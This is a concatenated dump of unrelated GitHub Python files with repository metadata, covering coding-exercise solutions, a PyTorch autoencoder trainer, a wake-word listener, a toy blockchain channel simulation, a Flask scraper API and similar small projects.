getPlayerGameList(\"1882\", topPlayerNames)\n#for g in gl:\n# print g\n\n","repo_name":"matthewseymour/HexDB","sub_path":"downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":12150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"38820607834","text":"import collections, sys\r\nsys.setrecursionlimit(10**7)\r\n\r\nN = int(sys.stdin.readline().strip())\r\nRGB_BOARD = [sys.stdin.readline().strip() for _ in range(N)]\r\nRB_BOARD = [[color if color != 'G' else 'R' for color in row] for row in RGB_BOARD]\r\n\r\nrgb_visited, rgb_cnt = [[False] * N for _ in range(N)], 0\r\nrb_visited, rb_cnt = [[False] * N for _ in range(N)], 0 # red==green\r\n\r\ndef grouping(y, x, color, is_rgb=True):\r\n global N, RGB_BOARD, RB_BOARD, rgb_board, rb_board\r\n if is_rgb:\r\n rgb_visited[y][x] = True\r\n else:\r\n rb_visited[y][x] = True\r\n\r\n for new_y, new_x in (y, x+1), (y, x-1), (y+1, x), (y-1, x):\r\n if 0 <= new_y < N and 0 <= new_x < N:\r\n if is_rgb and RGB_BOARD[new_y][new_x] == color and not rgb_visited[new_y][new_x]:\r\n grouping(new_y, new_x, color, True)\r\n elif not is_rgb and RB_BOARD[new_y][new_x] == color and not rb_visited[new_y][new_x]:\r\n grouping(new_y, new_x, color, False) \r\n \r\nfor y in range(N):\r\n for x in range(N):\r\n if not rgb_visited[y][x]:\r\n grouping(y, x, RGB_BOARD[y][x], True)\r\n rgb_cnt += 1\r\n if not rb_visited[y][x]:\r\n grouping(y, x, RB_BOARD[y][x], False)\r\n rb_cnt += 1\r\n \r\nprint(rgb_cnt, rb_cnt)","repo_name":"BoostcampAI2Study/Coding_Study","sub_path":"220207_적록색약/적록색약_JBJ.py","file_name":"적록색약_JBJ.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"22908050022","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport argparse\nfrom sklearn.preprocessing import StandardScaler\nimport pandas as pd\n# Helper func\ndef randomly_choose_indices(array):\n \"\"\"\n Randomly choose 80% of indices from the given array.\n\n Parameters:\n - array: numpy array or list\n The input array from which to choose the indices.\n\n Returns:\n - chosen_indices: numpy array\n The randomly chosen indices from the input array.\n \"\"\"\n # Convert input array to numpy array if not already\n array = np.array(array)\n\n # Get the total number of indices in the input array\n num_indices = len(array)\n\n # Calculate the number of indices to choose (80% of total)\n num_chosen = int(0.8 * num_indices)\n\n # Randomly permute the indices\n permuted_indices = np.random.permutation(num_indices)\n\n # Select the first num_chosen indices from the permuted indices\n train_indices, test_indices = permuted_indices[:num_chosen], permuted_indices[num_chosen:]\n\n return train_indices, test_indices\n\n\n# Denoising Autoencoder Model\nclass DAutoencoder(nn.Module):\n def __init__(self, encoding_dim, input_dim):\n super(DAutoencoder, self).__init__()\n self.encoder = nn.Sequential(\n nn.Linear(input_dim, 1024),\n nn.PReLU(),\n nn.Linear(1024, 256),\n nn.PReLU(),\n nn.Linear(256, encoding_dim)\n \n )\n self.decoder = nn.Sequential(\n nn.Linear(encoding_dim, 256),\n nn.PReLU(),\n nn.Linear(256,1024),\n nn.PReLU(),\n nn.Linear(1024,input_dim),\n nn.Sigmoid()\n )\n\n def forward(self, x):\n encoded = self.encoder(x)\n decoded = self.decoder(encoded)\n return decoded\n\n\ndef main(data_path,meta_path):\n #Load Data\n df = pd.read_csv(data_path)\n df = df.drop('Unnamed: 0',axis=1)\n meta_df = pd.read_csv(meta_path)\n target = meta_df.ChemoResponse\n encoded_target = target.map({'Resistant':0, 'Sensitive':1})\n\n #train test split\n train_indices, test_indices = randomly_choose_indices(np.arange(len(df)))\n train = df.iloc[train_indices,:]\n\n #fit the scaler\n scaler = StandardScaler()\n train_std = scaler.fit_transform(train)\n test_std= scaler.transform(df.iloc[test_indices,:])\n\n #train the model\n encoding_dim = 128 # choose an appropriate encoding dimension\n Dautoencoder = DAutoencoder(encoding_dim, input_dim=train.shape[1])\n\n # Define the loss function and optimizer\n criterion = nn.MSELoss()\n optimizer = optim.Adam(Dautoencoder.parameters(), lr=0.001)\n\n # Training loop\n num_epochs = 10000 # specify the number of epochs for training\n test_data = torch.tensor(test_std, dtype=torch.float32).unsqueeze(0)\n input_data = torch.tensor(train_std, dtype=torch.float32).unsqueeze(0)\n for epoch in range(num_epochs):\n # Forward pass\n tmp_data = input_data + torch.randn(input_data.size())\n outputs = Dautoencoder(tmp_data)\n loss = criterion(outputs, input_data)\n\n # Backward pass and optimization\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n # Print progress\n if (epoch+1) % 10 == 0:\n print('Epoch [{}/{}], Loss: {:.4f}'.format(epoch+1, num_epochs, loss.item()))\n test_output = Dautoencoder(test_data)\n test_loss = criterion(test_output, test_data)\n print(f'test loss: {test_loss}')\n\n if(epoch) % 1000 == 0:\n torch.save(Dautoencoder.state_dict(), f'model{epoch}.pth')\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Argument Parser for Data Path and Meta Path')\n parser.add_argument('--data_path', type=str, required=True, help='Path to data file')\n parser.add_argument('--meta_path', type=str, required=True, help='Path to meta data file')\n args = parser.parse_args()\n data_path = args.data_path\n meta_path = args.meta_path\n main(data_path, meta_path)\n\n\n\n\n\n\n","repo_name":"hym97/CMM-DAE","sub_path":"train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":4085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"33057570594","text":"# languages.txt contains the comma separated language column from the dataset\r\nlang_file = open(\"languages.txt\")\r\nlanguages = []\r\nlang_count = []\r\n\r\nfor line in lang_file:\r\n lang_list = line.split(\", \")\r\n\r\n for lang in lang_list:\r\n lang = lang.strip()\r\n \r\n if lang not in languages:\r\n languages.append(lang)\r\n lang_count.append(1)\r\n else:\r\n pos = languages.index(lang)\r\n lang_count[pos] += 1\r\n\r\nlang_file.close()\r\n\r\nlang_data = zip(lang_count, languages)\r\nlang_data_sorted = sorted(lang_data, reverse = True)\r\nlang_count_sorted, languages_sorted = zip(*lang_data_sorted)\r\n\r\nprint(\"\\nLanguage\\tCount\\n\")\r\n\r\nfor i in range (len(languages)):\r\n print(languages_sorted[i] + \"\\t\\t\" + str(lang_count_sorted[i]))\r\n\r\n\r\n","repo_name":"JakeRead-GH/OpenSourceDatasetScripts","sub_path":"MostCommonLanguages.py","file_name":"MostCommonLanguages.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"3356581104","text":"# 1. Вычислить число c заданной точностью d\n\ndef InputNumbers(inputText):\n is_OK = False\n while not is_OK:\n try:\n number = float(input(f\"{inputText}\"))\n is_OK = True\n except ValueError:\n print(\"Какое-то неправильное число!\")\n return number\n\nnum1 = InputNumbers(\"Введите 1 число: \")\nn = int(InputNumbers(\"Введите точность (количество знаков после запятой): \"))\nrezult = round((num1), n)\n\nprint(f\"Число с заданной точностью: {rezult}\")","repo_name":"IsaBarling/GB-Python-workshops-in-sept-okt","sub_path":"Seminar 4/Task 1.py","file_name":"Task 1.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"10788042359","text":"from pathlib import Path\n\nimport numpy as np\nimport pyaudio\nfrom openwakeword.model import Model\n\nfrom src.core.voice_recognition.consts import (\n RESPEAKER_CHANNELS,\n RESPEAKER_RATE,\n RESPEAKER_WIDTH,\n CHUNK,\n)\n\ncurrent_dir = Path(__file__).parent\n\n\nclass WakeWord:\n def __init__(self):\n # self.wake_word_model = Model(\n # wakeword_models=[f\"{current_dir}/models/thanks.onnx\"],\n # )\n self.end_word_model = Model(\n wakeword_models=[f\"{current_dir}/models/thanks.onnx\"],\n )\n self.wake_word_model = Model(\n wakeword_models=[f\"alexa\"],\n )\n # self.end_word_model = Model(\n # wakeword_models=[f\"alexa\"],\n # )\n audio = pyaudio.PyAudio()\n self.input_stream = audio.open(\n format=audio.get_format_from_width(RESPEAKER_WIDTH),\n channels=RESPEAKER_CHANNELS,\n rate=RESPEAKER_RATE,\n input=True,\n )\n\n def listen(self):\n print(\"listening...\")\n while True:\n data = self.input_stream.read(CHUNK)\n numpy_data = np.frombuffer(data, dtype=np.int16)\n prediction = self.wake_word_model.predict(numpy_data)\n if prediction[\"alexa\"] > 0.8:\n break\n\n def record(self):\n last_audio = []\n print(\"recording_audio\")\n while True:\n data = self.input_stream.read(CHUNK)\n numpy_data = np.frombuffer(data, dtype=np.int16)\n last_audio.append(data)\n prediction = self.end_word_model.predict(numpy_data)\n if prediction[\"thanks\"] > 0.15:\n print(\"audio recorded\")\n return last_audio\n","repo_name":"Dombearx/home-automation","sub_path":"src/core/voice_recognition/wakeword.py","file_name":"wakeword.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"520759054","text":"import blockchain\n\n\nclass Account():\n def __init__(self, Userid):\n \n self.Userid = Userid\n self.inventory = {'Equipment' : 0} #, 'ETC' : None}\n self.balance = 0 \n self.PC = {}\n \n def save_Equipment(self, quantity):\n \"\"\"\n quantity : quantity of 'Equipment'\n \"\"\"\n # Change value of Equipment stored in self.inventory\n self.inventory['Equipment'] += quantity\n \n def save_Balance(self, amount):\n \"\"\"\n amount : amount of Tokens\n \"\"\"\n # Change value of balance stored in self.balance\n self.balance += amount\n \n def createPC(self, data, inventory, u2_account): #Create Private Channel\n \"\"\"\n data = {user1_id : balance, user2_id : balance}\n inventory = {user1id : quantity, user2id : quantity}\n u2_account : u2 account\n \"\"\"\n #Generate the ID of PC : PCID = (small value id)999(bigger balue id)\n #Needed to be encrypted but for Scenario, Made manually.\n temp = sorted(list(data.keys()))\n PCID = int(str(temp[0]) + '999' + str(temp[1]))\n \n #Check if Private Channel is exist or invalid\n if PCID in self.PC.keys():\n \n #if PC has been closed by 'Emergency Closing' Cannot be created anymore between users\n if self.PC[PCID].record[-1] == 'Executed':\n print(\"Not availble to create Private Channel : Banned\")\n return None, None, None\n \n #if PC already exists, return PC object\n else:\n print('The Channel is already exist')\n return self.PC[PCID], None, None\n \n channel = PrivateChannel(data, inventory)\n \n # Update teh PC data\n self.PC[channel.id] = channel\n u2_account.PC[channel.id] = channel\n \n #When making Channel, changing account's balance and item quantity \n self.save_Balance(-data[self.Userid]) \n self.save_Equipment(-inventory[self.Userid])\n u2_account.save_Balance(-data[u2_account.Userid]) \n u2_account.save_Equipment(-inventory[u2_account.Userid])\n \n #record the initiation situation as record[0]\n #counterparty : player who makes PC with User\n [counterparty] = [counterparty for counterparty in data.keys() if counterparty != self.Userid]\n #counterparty = u2_account.Userid\n \n #Store the log of initiation\n channel.record.append({'id' : len(channel.record),\n 'u1' : self.Userid,\n 'u2' : counterparty,\n 'amount' : data.copy(),\n 'object' : inventory.copy()})\n #To Store in Block Chain, save the transaction log\n Trx1 = Transaction(sender = self.Userid,\n receiver = channel.id,\n amount = data[self.Userid],\n obj = ['Equipment', inventory[self.Userid]])\n \n Trx2 = Transaction(sender = counterparty,\n receiver = channel.id,\n amount = data[counterparty],\n obj = ['Equipment', inventory[counterparty]])\n \n return channel, Trx1, Trx2\n \n def closePC(self, PCID, u2_account, etc = 'Closing'):\n \"\"\"\n PCID : \n u2_account : \n etc : The default is 'Closing'.\n \"\"\"\n #load Private Channel reference\n PC = self.PC[PCID]\n Trx_User1, Trx_User2, trx1, trx2 = PC.CloseChannel(etc)\n #Update user's properties\n if Trx_User1['receiver'] == self.Userid:\n self.balance += Trx_User1['amount']\n self.inventory['Equipment'] += Trx_User1['quantity']\n u2_account.balance += Trx_User2['amount']\n u2_account.inventory['Equipment'] += Trx_User2['quantity']\n #Udate counterparty's properties\n else:\n self.balance += Trx_User2['amount']\n self.inventory['Equipment'] += Trx_User2['quantity']\n u2_account.balance += Trx_User1['amount']\n u2_account.inventory['Equipment'] += Trx_User1['quantity']\n return trx1, trx2\n \n def executePC(self,PCID, u2_account):\n #For Emergency Closing\n PC = self.PC[PCID]\n #Ban the PCID and cannot create anymore\n PC.Execution()\n trx1, trx2 = self.closePC(PCID, u2_account, 'Emergency Closing')\n return trx1, trx2\n \n def accessPC(self, PCID):\n return self.PC[PCID]\n \n \nclass PrivateChannel():\n \"\"\"\n need input as dictionary for initiation\n data = {user1id:balance, user2id:balance}\n inventory = {user1id : quantity, user2id : quantity}\n \"\"\"\n def __init__(self, data, inventory):\n self.data = data\n self.inventory = inventory\n self.id = self.createid() \n self.record = []\n \n def createid(self):\n #Create PCID \n temp = sorted(list(self.data.keys()))\n PCID = int(str(temp[0]) + '999' + str(temp[1]))\n return PCID\n \n def CheckBalance(self, Userid):\n return self.data[Userid] \n \n \n def CheckInventory(self, Userid):\n return self.inventory[Userid]\n \n def showRecord(self):\n return self.record\n \n def Transaction(self, sender, receiver, amount, obj=None, quantity = 0):\n \"\"\"\n sender : userid : user who sending 'Tokens'\n receiver : userid : user who receiving 'Tokens'\n quantity has to be calculated reversly\n \"\"\"\n #If there is record The PC has been Executed, no longer available\n if self.record[-1] == 'Executed':\n print('This Private Channel is no longer available')\n return False\n \n #Change the amount of data\n self.data[sender] -= amount\n self.data[receiver] += amount\n \n #Change the quantity of Inventory\n if obj != None:\n self.inventory[sender] += quantity\n self.inventory[receiver] -= quantity\n \n #Status after Transaction\n status = {'id' : len(self.record),\n 'u1' : self.record[0]['u1'],\n 'u2' : self.record[0]['u2'],\n 'amount' : self.data.copy(),\n 'object' : self.inventory.copy()}\n #transaction data occured status change\n trx_record = {len(self.record) : 'transaction_record',\n 'sender' : sender,\n 'receiver' : receiver,\n 'amount' : amount,\n 'object' : [obj,quantity]}\n \n #update PC record\n self.record.append([status, trx_record])\n \n \n def CloseChannel(self, etc = None):\n #PCID = (small value id)999(bigger balue id)\n User1 = self.id//1000000\n User2 = self.id%1000\n \n #Create Transaction data to empty PC\n Trx_User1 = Transaction(sender=self.id, \n receiver = User1,\n amount = self.data[User1],\n obj = ['Equipment', self.inventory[User1]],\n etc = etc)\n Trx_User2 = Transaction(sender = self.id,\n receiver = User2,\n amount = self.data[User2],\n obj = ['Equipment', self.inventory[User2]],\n etc = etc)\n \n self.data[User1] = 0\n self.data[User2] = 0\n self.inventory[User1] = 0\n self.inventory[User2] = 0\n \n return vars(Trx_User1), vars(Trx_User2), Trx_User1, Trx_User2\n \n def Execution(self):\n #Roll back to initiation data\n initiation_log = self.record[0]\n self.data = initiation_log['amount']\n self.inventory = initiation_log['object']\n \n execution_log = self.record[0].copy()\n execution_log['id'] = len(self.record)\n \n self.record.append(execution_log)\n self.record.append('Executed')\n \n\nclass Miner():\n \"\"\"\n miner does the adding blocks\n \n \"\"\"\n def __init__(self, Userid, BlockChain):\n self.Userid = Userid\n self.chain = BlockChain\n \n def mining(self, transactions):\n proof, block = self.chain.addBlock(data = transactions)\n transactions = []\n if self.chain.isValid():\n return self.spread(self.chain) , transactions\n else:\n return False \n def spread(self, new_chain):\n print('-------------------')\n print('Spreading New Chain')\n print('-------------------')\n\n return new_chain\n \n\"\"\"\ntransaction = {'sender' : userid1,\n 'receiver' : userid2,\n 'amount' : ,\n 'object' : [item, quantity]}\n\"\"\"\nclass Transaction():\n def __init__(self, sender, receiver, amount = None, obj = [None, None], etc = None):\n self.sender = sender\n self.receiver = receiver\n self.amount = amount\n self.object = obj[0]\n self.quantity = obj[1] \n self.etc = etc\n \n\nclass key():\n def __init__(self):\n pass\n","repo_name":"wooseok-AI/BlockChain_Scenario","sub_path":"User.py","file_name":"User.py","file_ext":"py","file_size_in_byte":9355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"12714469801","text":"from arrayqueue import ArrayQueue\nfrom arraystack import ArrayStack\nimport random\n\n\ndef stack_to_queue(stack):\n \"\"\"\n Convert stack to queue\n \"\"\"\n queue = ArrayQueue()\n while len(stack) != 0:\n num = stack.pop()\n queue.add(num)\n return queue\n\n\nif __name__ == \"__main__\":\n queue = ArrayQueue()\n stack = ArrayStack()\n for i in range(random.randint(5, 10)):\n m = random.randint(0, 9)\n queue.add(m)\n stack.push(m)\n print('Queue: ', queue)\n print('Stack: ', stack_to_queue(stack))\n\n","repo_name":"sophiashuv/UCU_labs_2term","sub_path":"7_Структури даних. Стек. Черга./task2/stack.py","file_name":"stack.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"15919306213","text":"N = int(input())\n\n# 이분 탐색\nlow = 0\nhigh = N\n\n# 제곱이 N과 같거나, N보다 커야함\n# N보다 크다면 그 중 가장 작은 값이어야 함\nwhile low <= high:\n min = (low + high) // 2\n\n # min의 제곱과 N 비교 \n if min**2 > N or min**2 == N: # N보다 크거나 같음 \n # 범위 낮추기 \n high = min - 1\n elif min**2 < N: # N보다 작음\n # 범위 높이기 \n low = min + 1\n\nprint(low)","repo_name":"aeebbr/Algorithm","sub_path":"08/week05/boj_2417_정수제곱근.py","file_name":"boj_2417_정수제곱근.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"21056358932","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndata = [\n [0.266873, 0.329129, 0.330225, 0.456149, 2.267001, 2.263103],\n [0.267344, 0.397377, 0.270254, 0.281078, 1.470244, 2.219766],\n [0.994039, 0.515916, 0.409758, 0.484845, 0.415805, 0.205531]\n]\n\nX = np.arange(6)\nax = plt.subplot()\n\nax.bar(X + 0.00, data[0], color='b', width=0.25,\n label='Equal distribution of requests')\nax.bar(X + 0.25, data[1], color='g', width=0.25,\n label='Random distribution of requests')\nax.bar(X + 0.50, data[2], color='r', width=0.25,\n label='Throughput weighted distribution of requests')\n\nax.set_xticks(X + 0.25)\nax.set_xticklabels(X + 1)\nplt.xticks(fontsize=12)\nplt.yticks(fontsize=12)\n\nplt.xlabel(\"Host number for each server\", fontsize=16)\nplt.ylabel(\"Average respone time (seconds)\", fontsize=16)\nplt.title(\n \"Comparison of average response time of each server depending on scheduling\",\n fontweight='bold', fontsize=20)\nax.legend(loc='best', fancybox=True)\nplt.gcf().set_size_inches(14.6, 7)\nplt.savefig('chart.png')\n","repo_name":"mateibarbu19/performance-evaluation","sub_path":"homework/res/chart.py","file_name":"chart.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"20686787827","text":"def firstMissingPositive(nums):\n # solution1:\n if not nums:\n return 1\n sorted_positive = dict()\n for n in nums:\n if n <= 0:\n continue\n sorted_positive[n] = n\n # print(sorted_positive, len(nums))\n index = 1\n while 1:\n # print(index, sorted_positive.get(index))\n if not sorted_positive.get(index):\n return index\n index += 1\n\n # solution2:\n # nums = sorted(nums)\n # expected = 1\n # previous = 0\n #\n # # print(nums, expected, previous)\n # for n in nums:\n # # print(n, expected, previous)\n # if n <= 0:\n # continue\n # # if n != expected and n != previous:\n # # return expected\n # if n != previous:\n # if n != expected:\n # return expected\n # previous = n\n # expected += 1\n #\n # return expected\n\n # solution3:\n # nums = sorted(nums)\n #\n # start, i = 1, 1\n # while i < len(nums):\n # if nums[i] != nums[i - 1]:\n # nums[start] = nums[i]\n # start += 1\n # i += 1\n #\n # expected = 1\n # for num in nums:\n # if num <= 0:\n # continue\n # if num != expected:\n # return expected\n # else:\n # expected += 1\n # return expected\n\n # solution4:\n # mem = set()\n # max_num = -float(\"inf\")\n # for num in nums:\n # mem.add(num)\n # max_num = max(max_num, num)\n #\n # if max_num < 0:\n # return 1\n #\n # for i in range(1, max_num):\n # if i not in mem:\n # return i\n #\n # return max_num + 1\n\n\n# print(firstMissingPositive([1, 2, 4]))\n# print(firstMissingPositive([1, 2, 0]))\n# print(firstMissingPositive([3, 4, -1, 1]))\n# print(firstMissingPositive([7, 8, 9, 11, 12]))\nprint(firstMissingPositive([1]))\n# print(firstMissingPositive([1, 1, 1, 2, 7]))\n","repo_name":"SunLemuria/leetcode","sub_path":"Array/Hard/041-first-missing-pos-int.py","file_name":"041-first-missing-pos-int.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"14712399966","text":"from typing import TYPE_CHECKING, Optional\nif TYPE_CHECKING:\n\tfrom .channel import Channel as TwitchChannel\n\tfrom .user import User as TwitchUser\n\nimport re\nfrom .structure import UserNoticeStructure\n\nfrom ..Utils.regex import ReMsgParamRitualName\n\nclass Ritual(UserNoticeStructure):\n\t\"\"\"\n\tSo rituals are a new(?) thing in twitch and they may appear on multiple channel and or user related events,\n\thowever, currently its only used in one case, the 'new_chatter' event.\n\tMore might come at some point.\n\n\tExample:\n\t```\n\t@badge-info=;badges=;color=#696969;display-name=The__CJ;emotes=30259:0-6;flags=;id=ca8a4f94-2a75-4f23-9873-4a384a798559;login=the__cj;mod=0;msg-id=ritual;msg-param-ritual-name=new_chatter;room-id=94638902;subscriber=0;system-msg=@The__CJ\\sis\\snew\\shere.\\sSay\\shello!;tmi-sent-ts=1599232912415;user-id=67664971;user-type= :tmi.twitch.tv USERNOTICE #phaazebot :HeyGuys\n\t```\n\t\"\"\"\n\tdef __repr__(self):\n\t\treturn f\"<{self.__class__.__name__} channel='{self.room_name}' event='{self.ritual_name}' user='{self.login}'>\"\n\n\tdef __init__(self, raw:str or None):\n\t\t# new tags (ordered)\n\t\tself._msg_param_ritual_name:Optional[str] = None\n\n\t\t# classes\n\t\tself.Channel:Optional[\"TwitchChannel\"] = None\n\t\tself.User:Optional[\"TwitchUser\"] = None\n\n\t\tif raw:\n\t\t\ttry:\n\t\t\t\tsuper().__init__(raw)\n\t\t\t\tself.ritualBuild(raw)\n\t\t\texcept:\n\t\t\t\traise AttributeError(raw)\n\n\t# utils\n\tdef compact(self) -> dict:\n\t\td:dict = super().compact()\n\t\td[\"ritual_name\"] = self.ritual_name\n\t\td[\"Channel\"] = self.Channel\n\t\td[\"User\"] = self.User\n\t\treturn d\n\n\tdef ritualBuild(self, raw:str):\n\t\tsearch:re.Match\n\n\t\t# _msg_param_ritual_name\n\t\tsearch = re.search(ReMsgParamRitualName, raw)\n\t\tif search:\n\t\t\tself._msg_param_ritual_name = search.group(1)\n\n\t# extra props\n\t@property\n\tdef ritual_name(self) -> str:\n\t\treturn str(self._msg_param_ritual_name or \"\")\n","repo_name":"The-CJ/twitch_irc.py","sub_path":"twitch_irc/Classes/ritual.py","file_name":"ritual.py","file_ext":"py","file_size_in_byte":1825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"12875848281","text":"from flask_restful import Api , Resource , reqparse\r\nfrom flask_cors import CORS, cross_origin\r\nfrom flask import Flask , jsonify\r\nfrom scraper import get_items\r\n\r\napp = Flask(\"__main__\")\r\n\r\nCORS(app, support_credentials=True)\r\n\r\n@cross_origin(supports_credentials=True)\r\ndef login():\r\n return jsonify({'success': 'ok'})\r\n\r\napi = Api(app)\r\n\r\nparser = reqparse.RequestParser()\r\nparser.add_argument('search')\r\n\r\n\r\nclass GetItems(Resource):\r\n def post(self):\r\n search = parser.parse_args()\r\n data = get_items(search['search'])\r\n return jsonify({'data': data})\r\n\r\napi.add_resource(GetItems,'/api/items')\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug=True,port=3001)","repo_name":"jaaabir/Lameazon","sub_path":"api/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"43199161022","text":"from dataclasses import dataclass, field\nfrom typing import List\nfrom .containment_aggregation_structure import ContainmentAggregationStructure\nfrom .routing_constraint_zone import RoutingConstraintZone\n\n__NAMESPACE__ = \"http://www.netex.org.uk/netex\"\n\n\n@dataclass\nclass RoutingConstraintZonesInFrameRelStructure(ContainmentAggregationStructure):\n class Meta:\n name = \"routingConstraintZonesInFrame_RelStructure\"\n\n routing_constraint_zone: List[RoutingConstraintZone] = field(\n default_factory=list,\n metadata={\n \"name\": \"RoutingConstraintZone\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.netex.org.uk/netex\",\n \"min_occurs\": 1,\n }\n )\n","repo_name":"tefra/xsdata-samples","sub_path":"netex/models/routing_constraint_zones_in_frame_rel_structure.py","file_name":"routing_constraint_zones_in_frame_rel_structure.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"70"} +{"seq_id":"11107700440","text":"#!/usr/local/bin/python3\n\n# Jack compiler constants\n\n# Token types\nT_KEYWORD = 0 # keyword e.g. 'class', 'false' etc\nT_SYM = 1 # symbol e.g. '{', '}' etc\nT_NUM = 2 # number e.g. '123' - from 0 to 32767\nT_STR = 3 # string e.g. \"hello\"\nT_ID = 4 # identifier e.g. 'name', 'id_42'\nT_ERROR = 5 # error in file\n\n# Keywords for token type T_KEYWORD\nKW_CLASS = 'class'\nKW_METHOD = 'method'\nKW_FUNCTION = 'function'\nKW_CONSTRUCTOR = 'constructor'\nKW_INT = 'int'\nKW_BOOLEAN = 'boolean'\nKW_CHAR = 'char'\nKW_VOID = 'void'\nKW_VAR = 'var'\nKW_STATIC = 'static'\nKW_FIELD = 'field'\nKW_LET = 'let'\nKW_DO = 'do'\nKW_IF = 'if'\nKW_ELSE = 'else'\nKW_WHILE = 'while'\nKW_RETURN = 'return'\nKW_TRUE = 'true'\nKW_FALSE = 'false'\nKW_NULL = 'null'\nKW_THIS = 'this'\nKW_NONE = ''\n\nkeywords = [KW_CLASS, KW_METHOD, KW_FUNCTION, KW_CONSTRUCTOR, KW_INT, KW_BOOLEAN,\n KW_CHAR, KW_VOID, KW_VAR, KW_STATIC, KW_FIELD, KW_LET, KW_DO, KW_IF,\n KW_ELSE, KW_WHILE, KW_RETURN, KW_TRUE, KW_FALSE, KW_NULL, KW_THIS]\n\n# Tokens for sample output\ntokens = ['keyword', 'symbol', 'integerConstant', 'stringConstant', 'identifier']\n\n# Symbols for token type T_SYM\nsymbols = '{}()[].,;+-*/&|<>=~'","repo_name":"havivha/Nand2Tetris","sub_path":"10/JackAnalyzer/JackConstant.py","file_name":"JackConstant.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":382,"dataset":"github-code","pt":"70"} +{"seq_id":"73438390947","text":"import pandas as pd\nfrom sklearn.cluster import AgglomerativeClustering as Agg\nfrom sklearn.cluster import Birch, KMeans\n\nclusters = []\nclusters.append(KMeans(n_clusters=2))\nclusters.append(Agg(n_clusters=2, affinity='cosine', linkage='complete'))\nclusters.append(Birch(n_clusters=2))\n\ndata = pd.read_csv('data.csv')\ndata.drop_duplicates()\nvect = data.iloc[:, 4:-1]\n\nhit = 0\n\nif __name__ == '__main__':\n for cluster in clusters:\n cl = cluster.fit_predict(vect)\n for i in range(len(data)):\n if cl[i] == cl[0] and data['is_Private'][i] == True:\n hit += 1\n if cl[i] == 1-cl[0] and data['is_Private'][i] == False:\n hit += 1\n\n print(f'{cluster.__class__.__name__}: {round(hit/len(data)*100, 2)}%')\n hit = 0\n","repo_name":"EightEggs/Seminar","sub_path":"university_predict/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"74026275745","text":"import sys\n\nimport tensorflow as tf\n\nfrom reinforcement.agents.td_agent import TDAgent\nfrom pythia.core.environment.rates_ai_environment import ExchangeTradingAiEnvironment, ActionFilter\nfrom pythia.core.environment.rates_rewards import TotalBalanceReward\nfrom reinforcement.policies.e_greedy_policies import NormalEpsilonGreedyPolicy\nfrom pythia.core.environment.rigged_policy import STOP_AT_THRESHOLD, RiggedPolicy\nfrom reinforcement.reward_functions.q_neuronal import QNeuronal\nfrom reinforcement.models.q_regression_model import QRegressionModel\nfrom pythia.core.sessions.rates_exchange_session import RatesExchangeSession\nfrom pythia.core.streams.shape_shift_rates import ShapeShiftRates\nfrom pythia.core.utils.profiling import clock_block\nfrom pythia.core.visualization.coin_exchange_visualizer import CoinExchangeVisualizer\n\nCOIN_A = \"RLC\"\nCOIN_B = \"WINGS\"\nLEARNING_RATE = 0.01\nMEMORY_SIZE = 10\nALPHA = 0.2\nGAMMA = 0.9\nWINDOW = 10\nSTART_EPS = 1\nTOTAL_EPISODES = 1000\nn = 10\n\nif __name__ == '__main__':\n path = \"../data/recordings/filtered/2018-02-28-shapeshift-{}_{}.json\".format(COIN_A, COIN_B) if len(sys.argv) == 1 else sys.argv[0]\n with open(path) as stream, tf.Session():\n with clock_block(\"Initialization\"):\n rates = ShapeShiftRates(stream, preload=True)\n vis = CoinExchangeVisualizer(rates)\n env = ExchangeTradingAiEnvironment(rates, COIN_A, \"10\", WINDOW, {1: COIN_A, 2: COIN_B}, TotalBalanceReward())\n env.register_listener(vis.record_exchange)\n\n model = QRegressionModel(3 + WINDOW * 2, [100], LEARNING_RATE)\n Q = QNeuronal(model, MEMORY_SIZE)\n episode = 0\n policy = RiggedPolicy(env,\n NormalEpsilonGreedyPolicy(lambda: START_EPS / (episode + 1), ActionFilter(env)),\n 0.5, rigging_distance=STOP_AT_THRESHOLD, threshold=0.5)\n agent = TDAgent(policy, Q, n, GAMMA, 